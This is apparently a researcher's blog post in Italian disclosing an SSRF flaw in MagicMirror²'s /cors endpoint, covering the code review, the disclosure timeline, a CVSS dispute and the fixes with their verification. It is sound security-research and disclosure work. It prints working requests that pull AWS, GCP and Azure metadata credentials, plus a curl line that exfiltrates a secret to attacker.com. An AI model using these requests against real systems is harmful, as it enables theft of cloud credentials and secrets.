Ho una collezione di Raspberry Pi che nel tempo ha acquisito una vita propria. Ogni modello ha il suo progetto, e periodicamente finisco su YouTube a cercare idee nuove. È così che ho conosciuto MagicMirror²: uno specchio smart open-source che usa Raspberry Pi per proiettare su un monitor retrospecchiato una serie di dashboard interattive, notizie, meteo, calendario, orari dei mezzi pubblici. L’output finale è esteticamente bello, e il progetto ha una community attiva di chi costruisce moduli personalizzati.
Ho fatto un giro su Shodan e tra le istanze pubblicamente raggiungibili in rete c’era un’installazione che mostrava in tempo reale una mappa con la posizione GPS di una flotta di macchinari agricoli. Qualcuno aveva preso MagicMirror, lo aveva esposto su un server pubblico, e lo stava usando come frontend per il tracciamento di veicoli. Non era proprio l’uso che i dev avevano immaginato quando hanno progettato uno specchio da bagno smart.
Questo tipo di deployment mi ha incuriosito abbastanza da aprire il sorgente.
Cos’è MagicMirror²?
MagicMirror² è una piattaforma open-source per la creazione di smart mirror. Un server Node.js serve una single-page application che si aggiorna in tempo reale tramite Socket.IO. Il contenuto viene organizzato in moduli, ognuno con un node_helper.js che gira server-side e un frontend che gira nel browser Electron o nel browser dell’utente. I moduli integrati coprono meteo, notizie, calendario, orologio; quelli della community aggiungono qualsiasi cosa immaginabile.
Il progetto oggi ha oltre 23.500 stelle su GitHub, più di 50 release pubblicate, e oltre 340 contributor. Non è un progetto gigante ma neanche di nicchia: è uno dei repository più attivi nell’ecosistema Raspberry Pi, con una base di utenti che va dai homelabber ai maker fino, evidentemente, agli operatori agricoli.
La maggior parte delle installazioni gira in LAN, collegata a un monitor retrospecchiato. Una minoranza viene esposta online, a volte deliberatamente per accedere alla dashboard da remoto, a volte per disattenzione. In entrambi i casi, la superficie di attacco conta.
Code review
Ho clonato il repository e ho iniziato dal punto in cui inizio sempre: capire la struttura prima di leggere i singoli file. Un server Express, Socket.IO, un sistema di caricamento moduli, e una manciata di endpoint HTTP. La mappa degli endpoint è il primo posto dove cercare superficie d’attacco in un’applicazione Node.js e uno in particolare ha catturato immediatamente l’attenzione.
js/server.js, riga 102:
app.get("/cors", serverFunctions.cors);
Un endpoint chiamato /cors. Nessun middleware di autenticazione prima di serverFunctions.cors. Raggiungibile da qualsiasi host che possa connettersi alla porta 8080. Ho aperto js/server_functions.js.
Flaw 1: open HTTP proxy senza validazione URL
La funzione cors() occupa le righe 40-128. La logica è concettualmente semplice: riceve un parametro url dalla query string e lo fetcha server-side, restituendo la risposta al chiamante. Serve a evitare errori CORS quando i moduli devono recuperare dati da API esterne.
Il problema è che non esiste alcuna forma di validazione sull’URL fornito:
async function cors(req, res) {
const urlRegEx = "url=(.+?)$";
const match = new RegExp(urlRegEx, "g").exec(req.url);
// ...
url = match[1];
// ... nessuna validazione, nessuna blocklist ...
const response = await fetch(url);
// risposta restituita al chiamante
}
Il server fa fetch() di qualsiasi URL gli venga passato e restituisce il corpo della risposta. Nessun controllo sull’host di destinazione. Nessuna blocklist di IP riservati. Nessuna restrizione di schema. Nessun controllo sull’origine della richiesta. Un attaccante esterno può puntare l’endpoint verso qualsiasi host raggiungibile dal server: localhost, la rete interna, i servizi cloud metadata.
curl "http://target:8080/cors?url=http://169.254.169.254/latest/meta-data/"
Su un’istanza AWS senza IMDSv2 enforcement, questa singola richiesta restituisce l’indice dei metadati dell’istanza EC2. Da lì, un attaccante può enumerare le credenziali IAM temporanee, l’identity document, i security group, lo user-data script.
Flaw 2: espansione di variabili d’ambiente nell’URL
Mentre leggevo il flusso di cors(), ho notato qualcosa prima del fetch():
url = match[1];
if (typeof global.config !== "undefined") {
if (config.hideConfigSecrets) {
url = replaceSecretPlaceholder(url);
}
}
Se hideConfigSecrets è abilitato nella configurazione, il server espande i placeholder **NOME_VARIABILE** nell’URL con il valore corrispondente in process.env. Righe 24-28:
function replaceSecretPlaceholder(input) {
return input.replaceAll(/\*\*(SECRET_[^*]+)\*\*/g, (match, group) => {
return process.env[group];
});
}
La feature esiste per un motivo legittimo: permette ai moduli di usare **SECRET_OPENWEATHER_KEY** nei loro URL di configurazione invece di inserire la chiave in chiaro in config.js. Il server espande il placeholder prima di fare la richiesta, così il secret non appare mai nel file di configurazione.
Il problema è che l’espansione avviene su un URL controllato dall’attaccante. Se cors: "allowAll" e hideConfigSecrets: true, qualsiasi valore in process.env il cui nome inizi con SECRET_ è esfiltrato con una singola richiesta:
curl "http://target:8080/cors?url=https://attacker.com/?k=**SECRET_API_KEY**"
Il server espande **SECRET_API_KEY** con il valore reale di process.env.SECRET_API_KEY e fa fetch("https://attacker.com/?k=sk-live-actualvalue"). Il secret arriva nei log del server dell’attaccante come query parameter. Nessun accesso al filesystem, nessuna RCE necessaria: l’endpoint lo consegna direttamente.
Il dettaglio più interessante è la semantica di questa combinazione. hideConfigSecrets è una feature di sicurezza: il nome stesso suggerisce che protegge i secret. Un operatore che la abilita sta attivamente cercando di aumentare la sicurezza del suo deployment. Ma combinata con cors: "allowAll", produce esattamente l’effetto opposto: crea un endpoint che espande e trasmette i secret a chiunque faccia la richiesta giusta.
Impatto reale
Cloud metadata
L’endpoint /cors è un proxy SSRF completamente funzionale verso i servizi di metadati delle principali piattaforme cloud. Ogni provider espone credenziali temporanee su un indirizzo link-local non routable dall’esterno, ma raggiungibile da qualsiasi processo in esecuzione sull’istanza.
AWS, senza IMDSv2:
GET /cors?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
La risposta contiene AccessKeyId, SecretAccessKey, e Token: credenziali IAM temporanee valide per ore, utilizzabili per qualsiasi operazione che il ruolo dell’istanza permette.
GCP:
GET /cors?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
sendheaders=Metadata-Flavor:Google
OAuth2 token attivo per il service account dell’istanza.
Azure:
GET /cors?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
sendheaders=Metadata:true
Token Managed Identity per Azure Resource Manager.
L’endpoint supporta anche l’injection di header arbitrari tramite il parametro sendheaders, che è esattamente ciò che GCP e Azure richiedono per autenticare le richieste al metadata service.
Ricognizione interna
Al di fuori degli ambienti cloud, /cors funziona come port scanner della rete interna. La differenza tra una porta aperta e una chiusa è osservabile dalla risposta: un corpo valido indica una porta aperta, un errore di connessione indica una porta chiusa o filtrata. Con un po’ di automazione è possibile enumerare host e servizi interni in modo completamente non autenticato dall’esterno.
Esfiltrazione di variabili d’ambiente
Come descritto sopra, se hideConfigSecrets: true, qualsiasi variabile d’ambiente con prefisso SECRET_ può essere esfiltrata puntando l’URL verso un server controllato dall’attaccante. La validazione successiva dell’URL (introdotta dalla fix) non aiuta, perché il server di destinazione è pubblicamente raggiungibile: passa tutti i controlli sugli IP privati, e porta con sé il secret espanso nel path o nei query parameter.
La PoC
La proof of concept completa è disponibile nel repository CVE-2026-42281. È un singolo script Python (poc.py) che non richiede dipendenze esterne.
Il tool supporta cinque modalità di attacco: verifica della vulnerabilità, esfiltrazione della configurazione applicativa (con ricerca automatica di API key e token), probing del metadata service di oltre dieci provider cloud (AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix), port scan della rete interna via SSRF, e utilizzo del server come open proxy verso URL arbitrari.
Responsible disclosure
Ho aperto una issue pubblica su GitHub il 30 marzo 2026, senza dettagli tecnici, e ho inviato una email al maintainer lo stesso giorno con la descrizione completa della vulnerabilità. La risposta è arrivata il 31 marzo: il maintainer ha preso in carico la segnalazione.
Un dettaglio che ho notato: nella sua prima risposta via email, il maintainer non ha incluso il mio messaggio precedente nella reply, a differenza di come si fa normalmente. Non lo so se fosse cautela nel non far circolare i dettagli tecnici in ulteriori thread, o semplice abitudine. In ogni caso, il segnale era positivo: stava trattando la segnalazione con la giusta attenzione.
Il 1 aprile i maintainer hanno aggiunto SECURITY.md al repository e abilitato il GitHub Security Advisory. Ho aperto l’advisory formale il 9 aprile. Il 26 aprile il maintainer ha confermato che la fix sarebbe stata inclusa nella prossima release e GitHub ha assegnato il CVE-2026-42281.
La release era inizialmente attesa non prima del 1 luglio 2026, ma i maintainer hanno scelto di anticiparla: MagicMirror² v2.36.0 è stata rilasciata il 30 aprile 2026, sbloccando la pubblicazione di questo articolo.
La disputa sul CVSS
I maintainer avevano assegnato un rating Moderate con questo vettore CVSS v4:
AV:A / AC:L / AT:N / PR:N / UI:N / VC:L / VI:N / VA:N / SC:H / SI:N / SA:N
Due metriche erano sbagliate.
Attack Vector: Adjacent invece di Network. La specifica CVSS v4 definisce AV:A per attacchi limitati allo stesso stack fisico, logico o amministrativo (stesso subnet, stessa WiFi, stessa VPN). L’endpoint /cors è un servizio HTTP che di default si lega a 0.0.0.0 senza alcuna autenticazione. Non esiste alcun vincolo di protocollo che limiti l’attaccante alla rete adiacente. L’argomento che MagicMirror è tipicamente deployato in LAN descrive un pattern di deployment, non una proprietà della vulnerabilità: il CVSS misura il difetto, non l’uso più comune. La documentazione aggiornata (“non esporre MagicMirror direttamente su internet, usa un reverse proxy”) è un consiglio di mitigazione, non un controllo tecnico che il codice impone.
Vulnerable System Confidentiality: Low invece di High. VC:H nella specifica v4 corrisponde a “total loss of confidentiality, resulting in all resources within the Vulnerable System being divulged to the attacker”. L’attaccante controlla completamente l’URL e riceve il corpo completo della risposta. Questo permette la lettura arbitraria di: variabili d’ambiente del processo (process.env via placeholder expansion), credenziali IAM dell’istanza cloud (che appartengono al sistema vulnerabile, non a un sistema downstream), e qualsiasi risorsa HTTP raggiungibile dal server. Non è “limited loss” con target non controllabili: è disclosure completa e selettiva, attacker-driven.
Ho presentato la contestazione con prove concrete, non con scenari ipotetici: screenshot dell’output della PoC su un’istanza di test, il curl che ritorna il secret esfiltrato, il response body del metadata AWS. I maintainer hanno aggiornato il vettore al proposto:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Score finale: 9.2 Critical.
È una dinamica che mi capita spesso, sia nel security research che nel lavoro quotidiano come penetration tester. I developer tendono naturalmente a ridimensionare l’impatto, a ragionare in termini di “ma chi lo farebbe davvero?” invece che di “cosa è possibile fare tecnicamente?”. La risposta giusta in questi casi non è l’argomentazione teorica, ma l’evidenza diretta: un comando che gira, un output che parla da solo.
La fix
Il branch develop ha ricevuto sei PR tra il 3 e il 12 aprile che affrontano la vulnerabilità in modo stratificato.
PR #4087 introduce il meccanismo di configurazione: tre modalità operative per l’endpoint /cors, con disabled come default.
cors: "disabled", // default, endpoint non disponibile
cors: "allowAll", // proxy aperto verso qualsiasi destinazione pubblica
cors: "allowWhitelist", // proxy limitato ai domini in corsDomainWhitelist
Questo è il cambiamento più importante in termini di impatto sulla base utenti. Nelle installazioni nuove o che non modificano esplicitamente la configurazione, l’endpoint restituisce 403. La superficie d’attacco è azzerata per default.
PR #4084 aggiunge tre livelli di validazione prima del fetch(). Primo, una protocol whitelist: solo http: e https: sono accettati (file://, gopher://, data: vengono rifiutati con 403). Secondo, un blocco esplicito dell’hostname localhost (case-insensitive) prima ancora della risoluzione DNS, perché certe configurazioni /etc/hosts o resolver custom potrebbero risolverlo a un IP diverso da 127.0.0.1. Terzo, il check vero e proprio sull’IP risolto, usando ipaddr.js:
const { address, family } = await dns.promises.lookup(parsed.hostname);
if (ipaddr.process(address).range() !== "unicast") {
return res.status(403).json({ error: "Forbidden: private or reserved addresses are not allowed" });
}
Il test range() !== "unicast" è una whitelist invertita molto più robusta di una blocklist esplicita: blocca in un colpo solo loopback, RFC 1918, link-local (il 169.254.0.0/16 dove vivono tutti i metadata service), CGN, broadcast, multicast, IPv4-mapped IPv6, ULA, e qualsiasi altro range non globally routable. ipaddr.process() normalizza anche le rappresentazioni alternative (127.1, 2130706433, 0177.0.0.1, 0x7f000001) prima del controllo, chiudendo i classici bypass via encoding.
PR #4090 risolve una finestra di TOCTOU che la PR #4084 lasciava aperta. Il problema è sottile: fetch() risolve il DNS autonomamente al momento della connessione. Se l’attaccante controlla un dominio con TTL zero che risponde alternativamente con un IP pubblico e un IP privato (DNS rebinding), può passare la validazione con l’IP pubblico e poi fare connettere fetch() all’IP privato in una seconda risoluzione. La fix risolve il DNS una sola volta, valida l’IP risultante, e lo passa a undici.Agent come lookup forzato:
const dispatcher = new undici.Agent({
connect: {
lookup: (_h, _o, cb) => {
cb(null, [{ address, family }]);
}
}
});
const response = await undici.fetch(url, { dispatcher, headers: headersToSend });
undici riceve un agent il cui custom lookup ignora completamente l’hostname richiesto e ritorna sempre l’IP validato. Zero finestre di race condition, e come effetto collaterale anche i redirect HTTP a IP privati vengono neutralizzati: se la risposta dell’host pubblico contiene Location: http://127.0.0.1/, undici segue il redirect ma il lookup pinned manda comunque la connessione all’IP originale.
PRs #4102 e #4104 chiudono il vettore di esfiltrazione delle variabili d’ambiente. La replaceSecretPlaceholder ora controlla la modalità CORS prima di espandere i placeholder:
function replaceSecretPlaceholder(input) {
if (global.config.cors !== "allowAll") {
return input.replaceAll(/\*\*(SECRET_[^*]+)\*\*/g, (_, group) => process.env[group]);
} else {
if (input.includes("**SECRET_")) {
Log.error("Replacing secrets doesn't work with CORS `allowAll`...");
}
return input;
}
}
Con cors: "allowAll" l’espansione è disabilitata e il server logga un errore esplicito. L’espansione rimane funzionale solo con cors: "disabled" (endpoint inaccessibile dall’esterno) e cors: "allowWhitelist" (destinazione controllata dall’operatore).
Il fix è incluso in MagicMirror² v2.36.0.
Verifica della fix
Dopo il rilascio ho clonato il tag v2.36.0 e ho rieseguito tutti i vettori della PoC contro l’istanza patchata. Tutti bloccati:
| Categoria | Tentativi | Risultato |
|---|---|---|
| Cloud metadata | 169.254.169.254, metadata.google.internal | 403 |
| Loopback (numerico/octal/hex/decimal) | 127.0.0.1, 127.1, 2130706433, 0177.0.0.1, 0x7f.0x0.0x0.0x1, 0, 0.0.0.0 | 403 (WHATWG URL normalizza tutto a 127.0.0.1) |
| RFC 1918 e CGN | 10/8, 172.16/12, 192.168/16, 100.64/10 | 403 |
| IPv6 loopback / ULA / link-local / mapped | [::1], [::ffff:127.0.0.1], [fc00::1], [fe80::1], [::] | 403 |
localhost (varianti) | upper, mixed, trailing dot, subdomain | 403 |
| Protocolli alternativi | file://, gopher://, ftp://, data: | 403 |
| HTTP redirect a IP privato | httpbin/redirect-to?url=http://127.0.0.1/ | bloccato dal lookup pinned |
| Header injection (CRLF) | value\r\nX-Injected:evil in sendheaders | rifiutato dal validator dei header |
Env var leak con cors: "allowAll" | ?x=**SECRET_API_KEY** | placeholder restituito letterale, log error sul server |
Una nota sui trade-off: la sostituzione dei placeholder **SECRET_* resta attiva in modalità cors: "allowWhitelist", perché è esattamente lì che serve per integrazioni legittime (es. chiavi API verso servizi meteo). Significa che i secret vengono inviati alle destinazioni in corsDomainWhitelist: gli operatori che usano questa modalità devono fidarsi dei domini whitelistati e non includere servizi che logghino URL completi (request bin, analytics URL-based, endpoint compromettibili). È un comportamento documentato e ragionevole, ma vale la pena ricordarlo.
Lessons learned
Per i developer:
Un endpoint proxy HTTP senza validazione della destinazione è una SSRF in attesa di essere trovata. Non è sufficiente documentare che “il software non dovrebbe essere esposto su internet”: il codice deve imporre i propri controlli indipendentemente dal deployment. La fix giusta è
cors: "disabled"per default, che è esattamente quello che i maintainer hanno implementato.Le feature di sicurezza possono diventare vettori di attacco se non sono progettate tenendo conto dell’interazione con altri componenti.
hideConfigSecretsè una feature corretta.cors: "allowAll"è una modalità legittima. La loro combinazione crea un primitivo di esfiltrazione. Il test di sicurezza deve coprire le interazioni tra feature, non solo ogni feature in isolamento.DNS rebinding non è un attacco esotico nel 2026. Se il tuo codice risolve un nome di dominio e poi lo usa in un contesto di sicurezza (validazione, accesso a risorse), risolvi una volta sola, valida, e pinna il risultato. Altrimenti la tua validazione è bypassabile.
Per chi fa security review:
Gli endpoint con nomi descrittivi delle loro funzionalità (
/cors,/proxy,/fetch) sono quasi sempre i primi da guardare. Non perché i developer siano negligenti, ma perché il loro scopo intrinseco è fare richieste per conto del client: se quella funzionalità non è delimitata correttamente, hai immediatamente un primitivo SSRF.In un’applicazione che usa variabili d’ambiente per i secret, cerca dove quelle variabili vengono espanse e se quel punto di espansione è raggiungibile con input controllato dall’esterno. La feature
replaceSecretPlaceholdernon era documentata come superficie di attacco: era una utility interna che per una combinazione di configurazioni diventava un primitivo di esfiltrazione.Quando contestate un CVSS score, la differenza tra “potenzialmente” e “dimostrato” è decisiva. I maintainer hanno aggiornato il rating non perché li ho convinti con l’argomentazione teorica, ma perché il
curlnella PoC restituiva esattamente quello che il report descriveva. Le evidenze concrete chiudono ogni discussione, ma vanno argomentate bene.
Riferimenti
- CVE-2026-42281
- GitHub Security Advisory (GHSA)
- PoC exploit (GitHub)
- Repository ufficiale MagicMirror²
- PR #4084: prevent SSRF via /cors endpoint
- PR #4087: add option to disable or restrict cors endpoint
- PR #4090: prevent SSRF via DNS rebinding
- PR #4102/#4104: restrict replaceSecretPlaceholder
- CWE-918: Server-Side Request Forgery